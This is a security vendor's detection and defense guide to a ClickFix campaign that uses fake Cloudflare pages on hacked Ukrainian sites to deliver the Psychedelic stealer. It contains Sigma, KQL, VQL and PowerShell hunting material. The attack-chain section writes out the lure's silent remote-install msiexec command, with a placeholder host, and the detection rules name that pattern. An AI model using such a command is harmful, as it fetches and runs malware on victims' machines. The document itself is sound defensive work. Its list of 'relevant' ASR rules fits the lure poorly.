Back to Intelligence

ClickFix Campaign on Hacked Ukrainian Sites Drops Psychedelic Stealer via Fake Cloudflare Pages — Detection and Defense Guide

SA
Security Arsenal Team
September 25, 2026
11 min read

Threat researchers are tracking an active ClickFix campaign in which attackers have compromised legitimate Ukrainian business websites and injected bogus Cloudflare verification pages. When a visitor interacts with the fake check, the page silently copies a Windows Installer (msiexec) command to the clipboard and instructs the victim to paste it into the Run dialog or a terminal — a classic ClickFix social-engineering pattern. Executing the command downloads and installs a previously undocumented information stealer tracked as Psychedelic.

There is no CVE here — no software flaw is being exploited. The vulnerability is the user, and the delivery vehicle is trust: trust in a legitimate Ukrainian domain, and trust in a Cloudflare-branded verification page. That makes this a pure detection-and-hardening problem, and it lands squarely on SOC and endpoint defense teams. Because the initial access vector bypasses email gateways entirely (drive-by web compromise), organizations whose users browse regional or industry-specific sites are exposed even with mature mail security.

Stealers like Psychedelic are initial-access currency. Browser credentials, session cookies, crypto wallets, and stored tokens harvested today become ransomware intrusions and BEC fraud next week. Treat every confirmed execution as a full credential-compromise event.

Technical Analysis

Attack Chain

  1. Compromise of legitimate infrastructure. Attackers inject malicious content into otherwise legitimate Ukrainian business websites. Because the domains are aged, reputable, and TLS-valid, reputation-based web filtering and user suspicion are both blunted.
  2. Fake Cloudflare verification lure. Visitors are presented with a counterfeit Cloudflare "verify you are human" interstitial. Instead of a checkbox CAPTCHA, the page instructs the user to press Win+R, paste (Ctrl+V), and press Enter — or to paste into a terminal. The page's JavaScript has already placed the malicious command on the clipboard via the Clipboard API (navigator.clipboard.writeText), often triggered by the user clicking the fake "verify" element.
  3. User-executed payload staging. The clipboard content is a Windows Installer command in the form msiexec /i https://<malicious-host>/<package>.msi /qn (quiet, no UI). Because the user runs it interactively, the process tree typically shows msiexec.exe spawned by explorer.exe with a remote URL on the command line — the single highest-fidelity detection opportunity in the chain.
  4. Stealer installation and execution. The MSI package installs and executes the Psychedelic stealer, which harvests browser credentials, cookies, autofill data, and other high-value secrets, then stages data for exfiltration to attacker-controlled C2.

Why msiexec

msiexec.exe is a signed Microsoft binary living in C:\Windows\System32. It is allow-listed by default under most application-control baselines, proxy-inspection policies often trust MSI content types less than executables, and the /qn flag makes installation completely silent. LOLBin abuse of msiexec for remote payload retrieval is well documented (MITRE ATT&CK T1218.007 — System Binary Proxy Execution: Msiexec), and the user-paste delivery mechanism maps to T1204.002 — User Execution: Malicious File with the clipboard injection mapping to T1115 — Clipboard Data and the drive-by lure to T1189 — Drive-by Compromise.

Exploitation Status

  • Confirmed active, in-the-wild campaign against real, compromised Ukrainian business web properties.
  • No CVE is associated with this activity; exploitation requires only social engineering.
  • Psychedelic is newly documented with low current AV/EDR signature coverage — behavioral detections and command-line analytics are the primary line of defense until vendor signatures mature.
  • Not currently listed in CISA KEV (no underlying vulnerability exists to list).

Who Is at Risk

Any Windows endpoint whose users can browse the compromised sites, and — critically — any organization without application control restricting msiexec remote installation. The Ukrainian targeting suggests regional focus, but ClickFix infrastructure rotates quickly and the same lure kit has historically been repurposed against broader targets within weeks of initial reporting.

Detection & Response

The strongest signals in this chain are: (1) interactive msiexec with a URL argument, (2) msiexec parented to explorer.exe (the Run dialog), and (3) MSI installer service activity fetching remote content. The rules below are tuned to those behaviors to minimize noise from legitimate software deployment, which almost never originates from an interactive Run-dialog paste.

Sigma Rules

YAML
---
title: ClickFix - Msiexec Remote Package Install via Interactive Shell
id: 3f8a2b71-4c6d-4e59-9a01-7b2c8d4e5f60
status: experimental
description: Detects msiexec.exe executed with a remote URL package source and quiet flags, parented by explorer.exe — consistent with ClickFix lures that instruct users to paste a Windows Installer command into the Run dialog. Observed delivering the Psychedelic information stealer via fake Cloudflare verification pages on compromised Ukrainian sites.
references:
  - https://thehackernews.com/2026/09/hacked-ukrainian-sites-serve-fake.html
  - https://attack.mitre.org/techniques/T1218/007/
  - https://attack.mitre.org/techniques/T1204/002/
author: Security Arsenal
date: 2026/09/15
tags:
  - attack.execution
  - attack.defense_evasion
  - attack.t1218.007
  - attack.t1204.002
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith: '\msiexec.exe'
  selection_url:
    CommandLine|contains:
      - 'http://'
      - 'https://'
  selection_parent:
    ParentImage|endswith:
      - '\explorer.exe'
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
  condition: selection_img and selection_url and selection_parent
falsepositives:
  - Rare administrative ad-hoc installs from a URL pasted into the Run dialog
  - Some enterprise software updaters (typically parented by a service, not explorer)
level: high
---
title: ClickFix - Quiet Msiexec Installation of Remote MSI Package
id: 8c1d5e92-2a7f-4b38-bd64-9e3f1a6c7d08
status: experimental
description: Detects msiexec installing an MSI package from a remote URL with silent/quiet switches (/qn, /quiet, /passive), a hallmark of ClickFix clipboard-pasted commands such as those used in the Psychedelic stealer campaign. Catches executions even when the parent process is obscured.
references:
  - https://thehackernews.com/2026/09/hacked-ukrainian-sites-serve-fake.html
  - https://attack.mitre.org/techniques/T1218/007/
author: Security Arsenal
date: 2026/09/15
tags:
  - attack.execution
  - attack.t1218.007
  - attack.t1059
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith: '\msiexec.exe'
  selection_url:
    CommandLine|contains:
      - 'http://'
      - 'https://'
  selection_quiet:
    CommandLine|contains:
      - '/qn'
      - '/quiet'
      - '/passive'
      - '-qn'
      - '-quiet'
  condition: selection_img and selection_url and selection_quiet
falsepositives:
  - Centrally managed software distribution using quiet switches (investigate parent process and URL reputation)
level: high
---
title: Msiexec Embedded HTTP Connection to Non-Standard Host
id: 5e7b3c41-9d2a-4f68-8c13-2b6d9a4e1f75
status: experimental
description: Detects the Windows Installer process establishing outbound network connections. Msiexec network activity is expected only during remote package retrieval and is a strong corroborating signal for ClickFix-delivered MSI payloads such as the Psychedelic stealer.
references:
  - https://thehackernews.com/2026/09/hacked-ukrainian-sites-serve-fake.html
  - https://attack.mitre.org/techniques/T1218/007/
author: Security Arsenal
date: 2026/09/15
tags:
  - attack.command_and_control
  - attack.t1218.007
  - attack.t1105
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    Image|endswith: '\msiexec.exe'
  filter_cdn:
    DestinationHostname|contains:
      - 'microsoft.com'
      - 'windowsupdate.com'
      - 'digicert.com'
  condition: selection and not filter_cdn
falsepositives:
  - Legitimate MSI installations from vendor URLs (tune with an allowlist of approved software distribution domains)
level: medium

KQL — Microsoft Sentinel / Defender

Hunt for the ClickFix execution pattern across your fleet. The first query targets the high-fidelity parent/child relationship; the second catches quiet remote installs regardless of parentage.

KQL — Microsoft Sentinel / Defender
// Hunt 1: Interactive msiexec with remote URL - ClickFix Run-dialog pattern
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName =~ "msiexec.exe"
| where ProcessCommandLine has_any ("http://", "https://")
| where InitiatingProcessFileName in~ ("explorer.exe", "cmd.exe", "powershell.exe", "pwsh.exe", "msedge.exe", "chrome.exe", "firefox.exe")
| project TimeGenerated, DeviceName, AccountName,
    InitiatingProcessFileName, InitiatingProcessCommandLine,
    FileName, ProcessCommandLine, SHA256, ReportId
| sort by TimeGenerated desc;

// Hunt 2: Quiet remote MSI installation regardless of parent process
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName =~ "msiexec.exe"
| where ProcessCommandLine has_any ("http://", "https://")
| where ProcessCommandLine has_any ("/qn", "/quiet", "/passive", "-qn", "-quiet")
| project TimeGenerated, DeviceName, AccountName,
    InitiatingProcessFileName, ProcessCommandLine, SHA256, ReportId
| sort by TimeGenerated desc;

// Hunt 3: Correlate msiexec URL installs with outbound connections (C2 / payload staging)
let MsiEvents = DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName =~ "msiexec.exe"
| where ProcessCommandLine has_any ("http://", "https://")
| project DeviceName, AccountName, ProcessCommandLine, ProcTime=TimeGenerated, DeviceId;
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName =~ "msiexec.exe"
| join kind=inner MsiEvents on DeviceId
| project ProcTime, DeviceName, AccountName, ProcessCommandLine,
    RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName
| sort by ProcTime desc;

Velociraptor VQL

Use this artifact for rapid triage of endpoints suspected of ClickFix execution — it surfaces live msiexec instances with URL arguments and recently dropped MSI artifacts in user-writable staging locations commonly abused by stealer installers.

VQL — Velociraptor
-- ClickFix / Psychedelic stealer triage:
-- msiexec processes with remote URL arguments and recently staged MSI files
SELECT Pid, Name, CommandLine, Exe, Username, CreateTime
FROM pslist()
WHERE Name =~ 'msiexec'
  AND CommandLine =~ 'https?://'

-- Separately, hunt for recently created MSI payloads in user/temp paths
SELECT FullPath, Size, Mtime, Atime
FROM glob(globs=[
  'C:/Users/*/AppData/Local/Temp/*.msi',
  'C:/Users/*/Downloads/*.msi',
  'C:/Windows/Temp/*.msi'
])
WHERE Mtime > now() - 604800
ORDER BY Mtime DESC

Triage & Hardening Script

Run on suspected endpoints or deploy via your RMM/SCCM for fleet-wide verification. It pulls recent MSI installer telemetry, flags URL-sourced installs, and confirms the relevant Defender ASR posture.

PowerShell
# ClickFix / Psychedelic Stealer - Triage and Hardening Script
# Security Arsenal - run elevated

Write-Host "=== [1] Hunting MsiInstaller events referencing remote URLs (last 14 days) ===" -ForegroundColor Cyan
Get-WinEvent -FilterHashtable @{LogName='Application'; ProviderName='MsiInstaller'; StartTime=(Get-Date).AddDays(-14)} -ErrorAction SilentlyContinue |
  Where-Object { $_.Message -match 'https?://' } |
  Select-Object TimeCreated, Id, Message |
  Format-List

Write-Host "=== [2] Recent process executions: msiexec with URL arguments (Security 4688) ===" -ForegroundColor Cyan
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688; StartTime=(Get-Date).AddDays(-14)} -ErrorAction SilentlyContinue |
  Where-Object { $_.Message -match 'msiexec' -and $_.Message -match 'https?://' } |
  Select-Object TimeCreated, Message |
  Format-List

Write-Host "=== [3] Recently created MSI files in user/temp staging paths (last 14 days) ===" -ForegroundColor Cyan
$paths = @("$env:TEMP", "$env:USERPROFILE\Downloads", "C:\Windows\Temp")
foreach ($p in $paths) {
  Get-ChildItem -Path $p -Filter *.msi -ErrorAction SilentlyContinue |
    Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-14) } |
    Select-Object FullName, LastWriteTime, Length
}

Write-Host "=== [4] Defender ASR rule posture (relevant rules) ===" -ForegroundColor Cyan
# e6db77e5-3df2-4cf1-b95a-636979351e5b = Block persistence through WMI event subscription
# d1e49aac-8f56-4280-b9ba-993a6d77406c = Block process creations from PSExec/WMI
# 56a863a9-875e-4185-98a7-b882c64b5ce5 = Block abuse of exploited vulnerable signed drivers
# Key: 0=Disabled, 1=Block, 2=Audit, 6=Warn
$asrIds = @('56a863a9-875e-4185-98a7-b882c64b5ce5','d1e49aac-8f56-4280-b9ba-993a6d77406c','e6db77e5-3df2-4cf1-b95a-636979351e5b')
$prefs = Get-MpPreference
for ($i=0; $i -lt $prefs.AttackSurfaceReductionRules_Ids.Count; $i++) {
  if ($asrIds -contains $prefs.AttackSurfaceReductionRules_Ids[$i]) {
    Write-Host ("{0} => Action {1}" -f $prefs.AttackSurfaceReductionRules_Ids[$i], $prefs.AttackSurfaceReductionRules_Actions[$i])
  }
}

Write-Host "=== [5] Enable SmartScreen + network protection (ClickFix lure mitigation) ===" -ForegroundColor Cyan
Set-MpPreference -EnableNetworkProtection Enabled
New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\System' -Force -ErrorAction SilentlyContinue | Out-Null
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\System' -Name 'EnableSmartScreen' -Value 1 -Force
Write-Host "Done. Investigate any hits from sections 1-3 as potential credential compromise." -ForegroundColor Green

Remediation & Hardening

Because there is no patch for social engineering, remediation is layered: disrupt the lure, disrupt the execution primitive, and assume compromise where execution occurred.

Immediate actions if execution is confirmed:

  1. Treat as full credential compromise. Psychedelic is an info-stealer — assume all browser-stored credentials, session cookies, and tokens on the host are exfiltrated. Force password resets for accounts used on the endpoint, revoke active sessions/refresh tokens (especially M365/Entra ID), and invalidate API keys stored locally.
  2. Isolate and image the endpoint. Do not simply delete the MSI. Capture memory and disk before remediation; stealer operators frequently return for second-stage payloads.
  3. Hunt laterally. Stealer logs are sold and acted on fast. Review authentication logs for impossible travel, new MFA enrollments, and anomalous service-principal activity tied to the victim's accounts.

Disrupt the execution primitive:

  1. Restrict msiexec for standard users. Deploy AppLocker or Windows Defender Application Control (WDAC) rules blocking msiexec.exe execution for non-administrative users, or at minimum alerting on interactive use. Legitimate MSI deployment should flow through your management plane (Intune/SCCM), not the Run dialog.
  2. Enforce SmartScreen and network protection. The script above enables Defender Network Protection and Windows SmartScreen, which flag the clipboard-paste verification lure pattern and known ClickFix infrastructure.
  3. Web filtering for newly compromised infrastructure. Block known ClickFix staging domains at the proxy/DNS layer as IoCs are published, and alert on MSI content-type downloads from non-allowlisted domains.

Disrupt the lure:

  1. Train users on the ClickFix pattern specifically. Generic phishing training does not cover "paste this command into Win+R." Add a one-line rule to security awareness: no legitimate verification page (Cloudflare or otherwise) will ever ask you to paste and run a command. This single message defeats the entire technique class.
  2. For website operators: if you run CMS-driven sites, audit for injected content — review recently modified templates, rogue admin accounts, and unauthorized JavaScript includes. Ukrainian business site operators are the upstream victims here; integrity monitoring (file-change detection, CSP reporting, external script inventory) is the control that would have caught the injection.

Detection engineering follow-through:

Deploy the Sigma rules above through your SIEM pipeline, enable the KQL hunts as scheduled analytics rules with entity mapping to accounts and devices, and baseline msiexec usage so the medium-severity network rule can be tuned against your approved software distribution domains.

Related Resources

Security Arsenal Red Team Services AlertMonitor Platform Book a SOC Assessment pen-testing Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.